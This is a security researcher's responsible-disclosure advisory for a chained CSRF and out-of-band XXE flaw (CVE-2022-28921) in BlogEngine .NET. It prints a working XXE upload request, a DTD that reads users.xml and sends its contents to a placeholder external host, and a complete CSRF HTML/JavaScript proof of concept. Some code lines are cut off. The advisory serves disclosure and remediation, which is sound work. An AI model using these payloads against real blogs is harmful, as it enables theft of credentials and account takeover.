Lanks
Vulnerability Researcher

May 18, 2022

Advisory: BlogEngine .Net - XML External Entity Injection & Cross-Site Request Forgery (CVE-2022-28921)

Summary

An Out-of-Band XML External Entity (XXE) injection and Cross-Site Request Forgery (CSRF) vulnerability were discovered in BlogEngine .Net.
By convincing an administrator to visit a malicious HTML document hosted on an attacker controlled domain, a cyber adversary has the ability to leverage an authenticated administrator session to conduct an XXE attack. This allows arbitrary files to be read on the hosting web server.

Impact

By combining an XXE and CSRF vulnerability, an unauthenticated cyber-adversary has the ability to read arbitrary files on the hosting web server. Should the application be setup in its default configuration of using an XML datastore, an attacker can leverage this vulnerability chain to leak the users.xml file. This contains all registered usernames and hashed passwords associated with the application.

Depending on the complexity of the passwords, this could result in a complete account takeover.

Affected Software Version

The vulnerability was confirmed on version 3.3.8.0, however it is likely that previous versions are affected.

Product Description

BlogEngine .NET is a light-weight, open source blogging platform built upon Microsoft's .NET framework.

Remediation

The pull request submitted can be found here. The suggested fixes have been tested and correctly remediate the issue.

Vulnerability

XXE Request:

```
POST /api/upload?action=import HTTP/1.1
Host: blogengine
Content-Length: 323
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMSY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537
Origin: http://blogengine
Referer: http://blogengine/admin/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: .AUXBLOGENGINE-96d5b379-7e1d-4dac-a6ba-1e50db561b04=[Removed
```

```
Connection: close

------WebKitFormBoundaryMSYnZ4tJmbf4nEFB
Content-Disposition: form-data; name="file"; filename="BlogML.xml"
Content-Type: text/xml

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x/xxe.dtd">
%sp;
%param1;
%exfil;
]>

------WebKitFormBoundaryMSYnZ4tJmbf4nEFB--
```

XXE DTD File:

```
<!ENTITY % data SYSTEM "file:///C:/inetpub/wwwroot/BlogEngine/App_dat

<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://x.x.x.x/?%dat
```

CSRF PoC:

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/blogengine\/api\/upload?action=impo
        xhr.setRequestHeader("Accept", "application\/json, text\/plai
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; b
        xhr.setRequestHeader("Accept-Language", "en-GB,en-US;q=0.9,en
        xhr.withCredentials = true;
        var body = "------WebKitFormBoundaryMSYnZ4tJmbf4nEFB\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"
          "Content-Type: text/xml\r\n" +
          "\r\n" +
          "\x3c?xml version=\"1.0\" ?\x3e\r\n" +
          "\x3c!DOCTYPE r [\r\n" +
          "\x3c!ELEMENT r ANY \x3e\r\n" +
          "\x3c!ENTITY % sp SYSTEM \"http://x.x.x.x/xxe.dtd\"\x3e\r\n
          "%sp;\r\n" +
          "%param1;\r\n" +
          "%exfil;\r\n" +
          "]\x3e\r\n" +
          "\r\n" +
          "------WebKitFormBoundaryMSYnZ4tJmbf4nEFB--";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="CSRF PoC" onclick="submitRequest();
    </form>
  </body>
</html>
```

Blog Post

The technical write-up outlining the discovery of these vulnerabilities can be found here.

Credit

Jake McCallum (@0xLanks) and Ethan (@complex201)

Disclosure Timeline

- ***30th March 2022***: Vulnerabilities discovered.
- ***31st March 2022***: Disclosure of vulnerabilities to BlogEngine .NET.
- ***13th April 2022***: Follow up on initial email.
- ***29th April 2022***: Final contact attempt.
- ***2nd May 2022***: Initial contact made by BlogEngine .NET stating fixes would not be implemented unless volunteer led.
- ***5th May 2022***: Fixes implemented and tested, pull request submitted.
- ***6th May 2022***: Pull request merged into main branch. Email is sent to BlogEngine .NET to thank them for their help and to let them know a write-up of the vulnerabilities would be published now the issues had been remediated.

READ NEXT

May 5, 2022

Advisory: BlogEngine .Net - Unauthenticated Arbitrary File Deletion (CVE-2022-25591)